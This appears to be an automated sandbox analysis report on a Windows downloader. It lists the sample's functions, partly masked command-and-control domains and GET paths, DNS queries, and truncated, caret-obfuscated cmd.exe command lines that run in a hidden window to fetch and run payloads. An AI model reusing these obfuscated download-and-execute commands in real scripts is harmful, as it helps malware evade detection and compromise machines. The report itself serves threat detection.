Technical Information
Malicious functions
Downloads and executes files.
Executes the following (exploit)
- '<SYSTEM32>\cmd.exe' /c f^Or ; /^F ; ; " delims=T6FH tokens= +2 " , %^x ; , In , ( ; ; ' ; ; ^^Ft^^YPE ; ^| ; ^^FinDstr , ; ^^SHC ' ; ; ) ; D^O , , %^x, , k2D/V^4^5FVC , , n0XEywg5m/^r " ; ,...
Network activity
Connects to
- 'df#####matica.com.br':80
- 'df#####matica.com.br':443
- 'sp####erealty.in':443
- 'we###ll.com.br':80
- 'be##ner.com':80
TCP
HTTP GET requests
- http://df#####matica.com.br/GA7L0wb/
- http://we###ll.com.br/hlbsISzd45/
- http://be##ner.com/c1LcNcee/
Other
- 'df#####matica.com.br':443
- 'sp####erealty.in':443
UDP
- DNS ASK df#####matica.com.br
- DNS ASK sp####erealty.in
- DNS ASK em######ldhealthbank.com
- DNS ASK we###ll.com.br
- DNS ASK be##ner.com
Miscellaneous
Creates and executes the following
- '<SYSTEM32>\cmd.exe' /c f^Or ; /^F ; ; " delims=T6FH tokens= +2 " , %^x ; , In , ( ; ; ' ; ; ^^Ft^^YPE ; ^| ; ^^FinDstr , ; ^^SHC ' ; ; ) ; D^O , , %^x, , k2D/V^4^5FVC , , n0XEywg5m/^r " ; ,...' (with hidden window)
Executes the following
- '<SYSTEM32>\cmd.exe' /c ^Ft^YPE | ^FinDstr ^SHC
- '<SYSTEM32>\cmd.exe' /S /D /c" FtYPE "
- '<SYSTEM32>\findstr.exe' SHC
- '<SYSTEM32>\cmd.exe' , , k2D/V45FVC , , n0XEywg5m/r " ; , ( , (sE^T ^\^]*_=^{h-/}pym^6v^8^c7bf5dkt^i^;D\:+PF^(N1oWI^.^0CT^) AOxjlS^zGw4^',9^@UXn=sLaKer^g$) )& ; , ^FoR , ; %^P ; ^in ; (^ ^ 5^ ^; 30 47 ...
